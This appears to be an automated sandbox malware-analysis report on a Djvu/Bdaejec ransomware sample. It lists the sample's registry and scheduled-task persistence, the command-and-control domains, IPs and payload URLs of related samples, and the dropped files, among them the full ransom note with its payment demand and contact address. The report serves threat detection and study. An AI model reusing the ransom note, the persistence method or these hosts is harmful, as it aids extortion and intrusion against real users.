Time	Type	Description
01:25:31	Task Scheduler	Run new task: Time Trigger Task path: C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe s>--Task
01:25:31	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run SysHelper "C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe" --AutoStart
01:25:39	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run SysHelper "C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe" --AutoStart
20:25:48	API Interceptor	1x Sleep call for process: WerFault.exe modified
20:27:22	API Interceptor	1x Sleep call for process: A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
44.221.84.105	BUG32.exe	Get hash	malicious	Bdaejec	Browse	ddos.dnsnb8.net:799/cj//k2.rar
	builder_Release.exe	Get hash	malicious	Bdaejec	Browse	ddos.dnsnb8.net:799/cj//k1.rar
	BOTBINARY.EXE.exe	Get hash	malicious	Bdaejec	Browse	ddos.dnsnb8.net:799/cj//k4.rar
	BkPack.exe	Get hash	malicious	Bdaejec	Browse	ddos.dnsnb8.net:799/cj//k3.rar
	DE1BEC11380A046D35656CB592A399445A6DEB5934A2892DCD5DAC3D0F61C55E.exe	Get hash	malicious	Babuk, Bdaejec, Djvu, Zorab	Browse	ddos.dnsnb8.net:799/cj//k1.rar
	E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Get hash	malicious	Babuk, Bdaejec, Djvu, Zorab	Browse	ddos.dnsnb8.net:799/cj//k5.rar
	dllhost.exe	Get hash	malicious	Bdaejec	Browse	ddos.dnsnb8.net:799/cj//k1.rar
	eb46b015c1a492b2307a541e45c2ecc0662bc9fc34b5ed028aac2ee2b6b1895c.exe	Get hash	malicious	Bdaejec	Browse	ddos.dnsnb8.net:799/cj//k2.rar
	EAAA8C691957343A544351907CA063BFC704AA8F604D391FE14126EB0B36C035.exe	Get hash	malicious	Bdaejec	Browse	ddos.dnsnb8.net:799/cj//k2.rar
	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	Get hash	malicious	Wannacry, Bdaejec	Browse	ddos.dnsnb8.net:799/cj//k3.rar
188.114.96.3	xptRc4P9NV.exe	Get hash	malicious	Unknown	Browse	api.keyunet.cn/v3/Project/appInfo/65fc6006
	LisectAVT_2403002B_448.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	www.universitetrading.com/hfhf/?6lBX5p6=0/2bsV2tZWehMRII3oIkv/ztWj8eLfm1RPHJ5DhA9wGKWMCN0u1aqYIHkCdH1AqUUdYe&Kjsl=FbuD_t_HwtJdin
	LisectAVT_2403002B_89.exe	Get hash	malicious	CobaltStrike	Browse	cccc.yiuyiu.xyz/config.ini
	54.xls	Get hash	malicious	FormBook	Browse	tny.wtf/
	Order_490104.xls	Get hash	malicious	Unknown	Browse	tny.wtf/vb
	Order_490104.xls	Get hash	malicious	Unknown	Browse	tny.wtf/vb
	Scan copy.xls	Get hash	malicious	Unknown	Browse	tny.wtf/3VC
	Order_490104.xls	Get hash	malicious	Unknown	Browse	tny.wtf/vb
	SEL1685129 AMANOS.pdf.exe	Get hash	malicious	Azorult, GuLoader	Browse	bshd1.shop/OP341/index.php
	S0042328241130.xls	Get hash	malicious	Remcos	Browse	tny.wtf/v0na

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
api.2ip.ua	DE1BEC11380A046D35656CB592A399445A6DEB5934A2892DCD5DAC3D0F61C55E.exe	Get hash	malicious	Babuk, Bdaejec, Djvu, Zorab	Browse	188.114.97.3
	E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Get hash	malicious	Babuk, Bdaejec, Djvu, Zorab	Browse	188.114.96.3
	FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Get hash	malicious	Babuk, Bdaejec, Djvu	Browse	188.114.96.3
	F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Get hash	malicious	Babuk, Bdaejec, Djvu	Browse	188.114.96.3
	F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Get hash	malicious	Babuk, Bdaejec, Djvu	Browse	188.114.96.3
	e26edae12836af5e3c42984eca4da6de5d4853701ef28c178de2276575408bb8.exe	Get hash	malicious	Babuk, Bdaejec, Djvu	Browse	188.114.96.3
	E1BE354A31A340C3EBE7BF14ED0FBBCB788A47190B253D05067E9E8698C25698.exe	Get hash	malicious	Babuk, Bdaejec, Djvu	Browse	188.114.96.3
	D932DBE6A5BE50D4668037CD66420FC424DE0B57368ED6FC8A1D249F4D6D1E10.exe	Get hash	malicious	Babuk, Bdaejec, Djvu, Zorab	Browse	188.114.96.3
	DA0E4FADC9227BEC63E5BFD562EEFE9682C2131E4DFB8BA2A1A0ECA7C699BB99.exe	Get hash	malicious	Babuk, Bdaejec, Djvu	Browse	188.114.97.3
	D3CA0EF14E8DC45497FABA304ACF842BB2F2913CA2108600EE2771F9E9A24F9C.exe	Get hash	malicious	Babuk, Bdaejec, Djvu	Browse	188.114.97.3
fuyt.org	DE1BEC11380A046D35656CB592A399445A6DEB5934A2892DCD5DAC3D0F61C55E.exe	Get hash	malicious	Babuk, Bdaejec, Djvu, Zorab	Browse	92.246.89.93
	E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Get hash	malicious	Babuk, Bdaejec, Djvu, Zorab	Browse	92.246.89.93
	FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Get hash	malicious	Babuk, Bdaejec, Djvu	Browse	92.246.89.93
	F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Get hash	malicious	Babuk, Bdaejec, Djvu	Browse	92.246.89.93
	F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Get hash	malicious	Babuk, Bdaejec, Djvu	Browse	92.246.89.93
	E1BE354A31A340C3EBE7BF14ED0FBBCB788A47190B253D05067E9E8698C25698.exe	Get hash	malicious	Babuk, Bdaejec, Djvu	Browse	92.246.89.93
	D932DBE6A5BE50D4668037CD66420FC424DE0B57368ED6FC8A1D249F4D6D1E10.exe	Get hash	malicious	Babuk, Bdaejec, Djvu, Zorab	Browse	92.246.89.93
	DA0E4FADC9227BEC63E5BFD562EEFE9682C2131E4DFB8BA2A1A0ECA7C699BB99.exe	Get hash	malicious	Babuk, Bdaejec, Djvu	Browse	92.246.89.93
	D3CA0EF14E8DC45497FABA304ACF842BB2F2913CA2108600EE2771F9E9A24F9C.exe	Get hash	malicious	Babuk, Bdaejec, Djvu	Browse	92.246.89.93
	C1E3DBF11B5B3D434C8026BB344D5E9FD6DABA717622CCFC4E07CADF051CBA72.exe	Get hash	malicious	Babuk, Bdaejec, Djvu	Browse	92.246.89.93
zerit.top	DE1BEC11380A046D35656CB592A399445A6DEB5934A2892DCD5DAC3D0F61C55E.exe	Get hash	malicious	Babuk, Bdaejec, Djvu, Zorab	Browse	92.246.89.93
	E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Get hash	malicious	Babuk, Bdaejec, Djvu, Zorab	Browse	92.246.89.93
	FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Get hash	malicious	Babuk, Bdaejec, Djvu	Browse	92.246.89.93
	F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Get hash	malicious	Babuk, Bdaejec, Djvu	Browse	92.246.89.93
	F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Get hash	malicious	Babuk, Bdaejec, Djvu	Browse	92.246.89.93
	E1BE354A31A340C3EBE7BF14ED0FBBCB788A47190B253D05067E9E8698C25698.exe	Get hash	malicious	Babuk, Bdaejec, Djvu	Browse	92.246.89.93
	D932DBE6A5BE50D4668037CD66420FC424DE0B57368ED6FC8A1D249F4D6D1E10.exe	Get hash	malicious	Babuk, Bdaejec, Djvu, Zorab	Browse	92.246.89.93
	DA0E4FADC9227BEC63E5BFD562EEFE9682C2131E4DFB8BA2A1A0ECA7C699BB99.exe	Get hash	malicious	Babuk, Bdaejec, Djvu	Browse	92.246.89.93
	D3CA0EF14E8DC45497FABA304ACF842BB2F2913CA2108600EE2771F9E9A24F9C.exe	Get hash	malicious	Babuk, Bdaejec, Djvu	Browse	92.246.89.93
	C1E3DBF11B5B3D434C8026BB344D5E9FD6DABA717622CCFC4E07CADF051CBA72.exe	Get hash	malicious	Babuk, Bdaejec, Djvu	Browse	92.246.89.93
ddos.dnsnb8.net	BUG32.exe	Get hash	malicious	Bdaejec	Browse	44.221.84.105
	builder_Release.exe	Get hash	malicious	Bdaejec	Browse	44.221.84.105
	A9BCD8D127BE95C64EDAE5CDD2379494A37D458FD9D5881D74F8D5487A805E6C.exe	Get hash	malicious	Bdaejec, SmokeLoader	Browse	44.221.84.105
	BOTBINARY.EXE.exe	Get hash	malicious	Bdaejec	Browse	44.221.84.105
	BkPack.exe	Get hash	malicious	Bdaejec	Browse	44.221.84.105
	bss.exe	Get hash	malicious	Bdaejec	Browse	44.221.84.105
	DE1BEC11380A046D35656CB592A399445A6DEB5934A2892DCD5DAC3D0F61C55E.exe	Get hash	malicious	Babuk, Bdaejec, Djvu, Zorab	Browse	44.221.84.105

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
LIVECOMM-ASRespublikanskayastr3k6RU	DE1BEC11380A046D35656CB592A399445A6DEB5934A2892DCD5DAC3D0F61C55E.exe	Get hash	malicious	Babuk, Bdaejec, Djvu, Zorab	Browse	92.246.89.93
	E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Get hash	malicious	Babuk, Bdaejec, Djvu, Zorab	Browse	92.246.89.93
	LisectAVT_2403002B_290.exe	Get hash	malicious	Bdaejec	Browse	92.246.89.93
	FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Get hash	malicious	Babuk, Bdaejec, Djvu	Browse	92.246.89.93
	F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Get hash	malicious	Babuk, Bdaejec, Djvu	Browse	92.246.89.93
	F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Get hash	malicious	Babuk, Bdaejec, Djvu	Browse	92.246.89.93
	E1BE354A31A340C3EBE7BF14ED0FBBCB788A47190B253D05067E9E8698C25698.exe	Get hash	malicious	Babuk, Bdaejec, Djvu	Browse	92.246.89.93
	D932DBE6A5BE50D4668037CD66420FC424DE0B57368ED6FC8A1D249F4D6D1E10.exe	Get hash	malicious	Babuk, Bdaejec, Djvu, Zorab	Browse	92.246.89.93
	DA0E4FADC9227BEC63E5BFD562EEFE9682C2131E4DFB8BA2A1A0ECA7C699BB99.exe	Get hash	malicious	Babuk, Bdaejec, Djvu	Browse	92.246.89.93
	D3CA0EF14E8DC45497FABA304ACF842BB2F2913CA2108600EE2771F9E9A24F9C.exe	Get hash	malicious	Babuk, Bdaejec, Djvu	Browse	92.246.89.93
CLOUDFLARENETUS	C0ED98D08381257B540A04C0868ECD6A628649AA70FEBCBE03778BAE532FB5BE.exe	Get hash	malicious	Bdaejec, BitCoin Miner, Xmrig	Browse	104.21.79.229
	DE1BEC11380A046D35656CB592A399445A6DEB5934A2892DCD5DAC3D0F61C55E.exe	Get hash	malicious	Babuk, Bdaejec, Djvu, Zorab	Browse	188.114.97.3
	PgrZ7RuW1I.exe	Get hash	malicious	CobaltStrike, Metasploit	Browse	104.21.48.177
	file.exe	Get hash	malicious	Python Stealer, Amadey, Babadeda, Monster Stealer, RedLine, Stealc, Vidar	Browse	1.1.1.1
	E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Get hash	malicious	Babuk, Bdaejec, Djvu, Zorab	Browse	188.114.96.3
	xptRc4P9NV.exe	Get hash	malicious	Unknown	Browse	188.114.96.3
	https://filmoflix.cx	Get hash	malicious	Unknown	Browse	1.1.1.1
	file.exe	Get hash	malicious	Babadeda	Browse	162.159.61.3
	Endermanch@7ev3n.exe	Get hash	malicious	7ev3n, Bdaejec, UACMe	Browse	104.17.11.85
	Endermanch@LPS2019.exe	Get hash	malicious	Unknown	Browse	104.17.25.14
AMAZON-AESUS	BUG32.exe	Get hash	malicious	Bdaejec	Browse	44.221.84.105
	builder_Release.exe	Get hash	malicious	Bdaejec	Browse	44.221.84.105
	BOTBINARY.EXE.exe	Get hash	malicious	Bdaejec	Browse	44.221.84.105
	BkPack.exe	Get hash	malicious	Bdaejec	Browse	44.221.84.105
	DE1BEC11380A046D35656CB592A399445A6DEB5934A2892DCD5DAC3D0F61C55E.exe	Get hash	malicious	Babuk, Bdaejec, Djvu, Zorab	Browse	44.221.84.105
	E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Get hash	malicious	Babuk, Bdaejec, Djvu, Zorab	Browse	44.221.84.105
	dllhost.exe	Get hash	malicious	Bdaejec	Browse	44.221.84.105
	eb46b015c1a492b2307a541e45c2ecc0662bc9fc34b5ed028aac2ee2b6b1895c.exe	Get hash	malicious	Bdaejec	Browse	44.221.84.105
	EAAA8C691957343A544351907CA063BFC704AA8F604D391FE14126EB0B36C035.exe	Get hash	malicious	Bdaejec	Browse	44.221.84.105
	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	Get hash	malicious	Wannacry, Bdaejec	Browse	44.221.84.105

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
37f463bf4616ecd445d4a1937da06e19	DE1BEC11380A046D35656CB592A399445A6DEB5934A2892DCD5DAC3D0F61C55E.exe	Get hash	malicious	Babuk, Bdaejec, Djvu, Zorab	Browse	188.114.96.3
	PgrZ7RuW1I.exe	Get hash	malicious	CobaltStrike, Metasploit	Browse	188.114.96.3
	E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Get hash	malicious	Babuk, Bdaejec, Djvu, Zorab	Browse	188.114.96.3
	Endermanch@7ev3n.exe	Get hash	malicious	7ev3n, Bdaejec, UACMe	Browse	188.114.96.3
	file.exe	Get hash	malicious	Unknown	Browse	188.114.96.3
	file.exe	Get hash	malicious	Unknown	Browse	188.114.96.3
	LisectAVT_2403002A_100.exe	Get hash	malicious	GuLoader	Browse	188.114.96.3
	LisectAVT_2403002A_100.exe	Get hash	malicious	GuLoader	Browse	188.114.96.3
	LisectAVT_2403002A_138.exe	Get hash	malicious	Vidar	Browse	188.114.96.3
	LisectAVT_2403002A_156.exe	Get hash	malicious	XRed	Browse	188.114.96.3

Dropped Files

⊘No context

Created / dropped Files

C:\$WinREAgent\Scratch\_readme.txt

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1106
Entropy (8bit):	4.884025328365006
Encrypted:	false
SSDEEP:	24:FS5ZHPnIekFQjhRe9bgnYLuWtfFmFRqrl3W4kA+GT/kF5M2/kAApJx13b:WZHfv0p6WVFPFWrDGT0f/kj53b
MD5:	35779C10C1797CD75D7E64C8579FED59
SHA1:	68C0A5BF86F957E8976300A74F20F2785EEE204A
SHA-256:	ABE1851BFD95CAC28F57A85B9770513ECB91F6A1629F879832AE653BD808CBE5
SHA-512:	E2A89A0143FBA496DCCE1322CCDF88A576BEBB2F8D0C1EA13D2F5CF288D689DEA27672DCE969CE49AE9740E06C31E8B0FD197A447997D6B54DEEE1F56E483022
Malicious:	true
Reputation:	low
Preview:	ATTENTION!....Don't worry, you can return all your files!..All your files like pictures, databases, documents and other important are encrypted with strongest encryption and unique key...The only method of recovering files is to purchase decrypt tool and unique key for you...This software will decrypt all your encrypted files...What guarantees you have?..You can send one of your encrypted file from your PC and we decrypt it for free...But we can decrypt only 1 file for free. File must not contain valuable information...You can get and look video overview decrypt tool:..https://we.tl/t-0S984cQ4B3..Price of private key and decrypt software is $980...Discount 50% available if you contact us first 72 hours, that's price for you is $490...Please note that you'll never restore your data without payment...Check your e-mail "Spam" or "Junk" folder if you don't get answer more than 6 hours.......To get this software you need write on our e-mail:..support@sysmail.ch....Reserve e-mail address to

C:\$WinREAgent\_readme.txt

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1106
Entropy (8bit):	4.884025328365006
Encrypted:	false
SSDEEP:	24:FS5ZHPnIekFQjhRe9bgnYLuWtfFmFRqrl3W4kA+GT/kF5M2/kAApJx13b:WZHfv0p6WVFPFWrDGT0f/kj53b
MD5:	35779C10C1797CD75D7E64C8579FED59
SHA1:	68C0A5BF86F957E8976300A74F20F2785EEE204A
SHA-256:	ABE1851BFD95CAC28F57A85B9770513ECB91F6A1629F879832AE653BD808CBE5
SHA-512:	E2A89A0143FBA496DCCE1322CCDF88A576BEBB2F8D0C1EA13D2F5CF288D689DEA27672DCE969CE49AE9740E06C31E8B0FD197A447997D6B54DEEE1F56E483022
Malicious:	true
Reputation:	low
Preview:	ATTENTION!....Don't worry, you can return all your files!..All your files like pictures, databases, documents and other important are encrypted with strongest encryption and unique key...The only method of recovering files is to purchase decrypt tool and unique key for you...This software will decrypt all your encrypted files...What guarantees you have?..You can send one of your encrypted file from your PC and we decrypt it for free...But we can decrypt only 1 file for free. File must not contain valuable information...You can get and look video overview decrypt tool:..https://we.tl/t-0S984cQ4B3..Price of private key and decrypt software is $980...Discount 50% available if you contact us first 72 hours, that's price for you is $490...Please note that you'll never restore your data without payment...Check your e-mail "Spam" or "Junk" folder if you don't get answer more than 6 hours.......To get this software you need write on our e-mail:..support@sysmail.ch....Reserve e-mail address to

C:\Program Files (x86)\AutoIt3\Examples\Helpfile\Extras\MyProg.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\RranN.exe
File Type:	MS-DOS executable PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	19456
Entropy (8bit):	6.590674434656701
Encrypted:	false
SSDEEP:	384:1FoSmXZQaD7U8iu4YsAa7ZA0UvH2lsRv21yW7GbAxur6+Y9PffPz:5CQGPL4vzZq2o9W7GsxBbPr
MD5:	D3E6F6CA4531A955BC1CD09340E16A44
SHA1:	834AAD572214B09916A08F237CC0527F2C0F4A8B
SHA-256:	68F7DBF132C58FA5F450562498199FA4BE2B3F175B82827634CA2CA109A78E94
SHA-512:	9147AA4F2007FDA61152538E3FA9CF7F3A79D39699B02A547E9B5F5610943F6A9DA33971D9456DD6F875657367F4A8EE0A9D68DCBD731E4213614EE8DCBEB94D
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	low
Preview:	MZ..........................................................@...PE..L....................................0............................................................................................... ..l...........................................................................................................PELIB...............................`....rsrc........ ......................@..@..Y\|.uR..P...0...B.................. ...................................................................................j.h"...h....j...(....Hello World!.MyProg........................................................................................................................................................................................................................(...........0...(.......................;.......User32.dll...MessageBoxA................................................................................................dummy.exe.....................TestExport.CallPlz................

C:\Program Files (x86)\AutoIt3\SciTE\SciTE.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\RranN.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2389504
Entropy (8bit):	6.731343616625146
Encrypted:	false
SSDEEP:	49152:BGSXoV72tpV9XE8Wwi1aCvYMdRluS/fYw44RxL:V4OEtwiICvYMpf
MD5:	307575FE150380D304EE687C8A5B9209
SHA1:	8E7B8BA787F23CAF8B231D2C873F6B055A4CCDFE
SHA-256:	6172F6D84A32CB30BFB6A5A4B8605A34B94859DAC6BA282F7A98686A56DB28BD
SHA-512:	D81224714DFECE4D3BBEC2DFC547DDA83E2E50191E46617626017AECED0E7D9EBF67DBF18985F09D326BF4E145BA26302F49EEA740432C5A77A7DB6675FF86D6
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........Ark.Ark.Ark...o.Mrk...h.Jrk...n.^rk...j.Erk.H...Brk.H...nrk.Arj..pk...b.rk...k.@rk.....@rk...i.@rk.RichArk.........................PE..L.....(c.....................~.......p$...........@...........................$...........@.........................p...<............@ ......................P#.....@...p...................P...........@............................................text...e........................... ..`.rdata...^.......`..................@..@.data...`....0......................@....rsrc........@ ....... .............@..@.reloc.......P#......"#.............@..B.....u...P...p$..B...4$............. ...........................................................................................................................................................................................................................................................

C:\Program Files\7-Zip\Uninstall.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\RranN.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	31744
Entropy (8bit):	6.366427045410461
Encrypted:	false
SSDEEP:	768:uWQ3655Kv1X/qY1MSdVVnQGPL4vzZq2o9W7GsxBbPr:uHqaNrFdViGCq2iW7z
MD5:	A4A32488FFBEBAB9068C021A7949F3F8
SHA1:	191497600A5CA091AEA551C06D07453EB5D93F0E
SHA-256:	962ED1BA5052DCFA7EBE468A2DEDF96AA666766ABC132F42912BD942C5DF5E60
SHA-512:	AA573AD640E7FC13043D718A93E8FD67BAB69E6F7888C23B7601FB2BE396A0966412F9E33AC385C3AFEE757187478DF92598225F53A9E739BFC29D25446BD1A5
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......S.6...X...X...X.x.R...X..V...X.x.\...X......X...Y.W.X......X.!.R...X...^...X.Rich..X.................PE..L...pN.d........../......V...@.......p.......0....@.........................................................................$9.......`...............................................................................0...............................text............................... ..`.rdata.......0......................@..@.data...X....@.......(..............@....rsrc........`.......*..............@..@.EpN.uZ..P...p...B...:.............. ...................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_RranN.exe_cdf7fcba8c19d2b46c16b6f53c964ce7ac6551d_ab49297b_2410734c-d068-4450-835e-a6e01f4b2ece\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.9850229086253798
Encrypted:	false
SSDEEP:	96:zifWFTyQb7LsEhnO7afzQXIDcQLFc6LDcEGcw3v/Y+HbHg/5ksS/YyNl1zWDUMsw:cWMQb7L60nLcVj8fgmzuiF/+Z24IO8l
MD5:	365E9E08FD0A8DF07ED0E6A931E9F485
SHA1:	80B9A82D75373D85096A254504C4408C28192EDC
SHA-256:	6B96D5546CF57295C43D49280AC47FFAD3B7D1F31D6FF05D8266C5A61511D335
SHA-512:	225615D52B579CE0C08694B8410C5D3ABE21834234415AC8EE01B656C2A49FF1004094146798941CED2F48896D98692575DC169FEA2B34572DED978C850221EF
Malicious:	false
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.6.6.4.2.7.1.3.0.3.7.0.7.8.7.3.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.6.6.4.2.7.1.3.1.6.2.0.8.0.2.7.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.2.4.1.0.7.3.4.c.-.d.0.6.8.-.4.4.5.0.-.8.3.5.e.-.a.6.e.0.1.f.4.b.2.e.c.e.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.d.2.9.b.0.b.9.5.-.5.e.a.f.-.4.6.1.d.-.a.6.7.6.-.e.0.4.1.e.7.c.f.9.a.4.e.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.R.r.a.n.N...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.7.d.8.-.0.0.0.1.-.0.0.1.4.-.0.6.3.a.-.8.6.4.e.f.2.d.e.d.a.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.e.7.0.a.4.6.6.c.3.c.f.5.0.7.f.7.5.d.8.5.3.0.5.b.e.e.6.7.8.0.d.d.0.0.0.0.f.f.f.f.!.0.0.0.0.d.4.e.9.e.f.1.0.d.7.6.8.5.d.4.9.1.5.8.3.c.6.f.a.9.3.a.e.5.d.9.1.0.5.d.8.1.5.b.d.!.R.r.a.n.N...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.r.=.2.0.1.3././.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER4A42.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Fri Jul 26 00:25:31 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	159274
Entropy (8bit):	1.8929793358282374
Encrypted:	false
SSDEEP:	768:hvkM87BVFCz1wDOiRd3J8U4t/DvUdJPw4srB9:B9qDOiR+IdJPwDrB9
MD5:	91B334F523780F41DC3D3F28828F3490
SHA1:	A3AC7A14BB524677AFE005C7A0E4F2260FECE8A5
SHA-256:	E638710202566DCB9CF398409C34AF3060A9E94BC1536836FB384A541805A810
SHA-512:	F86F2EBDBB786B653CE3E5E8F2D4ECB04A2E15BC6AA76BC301F349A1D0E5B2109825423A3C1EAB6C564DC7B171DF04CCC409DF03737EC01DAE2B6D68CA5A78A7
Malicious:	false
Preview:	MDMP..a..... .........f............t...............\|.......D...fQ..........T.......8...........T...........8<...1.......... !...........#..............................................................................eJ.......#......GenuineIntel............T.............f.............................0..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER4D21.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	6262
Entropy (8bit):	3.710873998207898
Encrypted:	false
SSDEEP:	96:RSIU6o7wVetbNhb66pNY+7l/sZh5aMQUT89b3wqcsfxF2m:R6l7wVeJNhb66jY+7KpDT89bAqcsfxAm
MD5:	CF3D4ABEA0CFDF50798EEF1CEF97EA00
SHA1:	46BF43E899AF11280099F2BC29FF8AFCD7275CB5
SHA-256:	83DBC235BC673266E5AC04B93218D2EFE2058D1D8BB2CB6914172E809C908412
SHA-512:	4107C67A0DFF973FD8E19F3E8087EC84DB54041864E051290927DE66067037FC82FAC46E9CC71D695748756B38AC90809406180BDC0C7B7464EF68A75F313711
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. 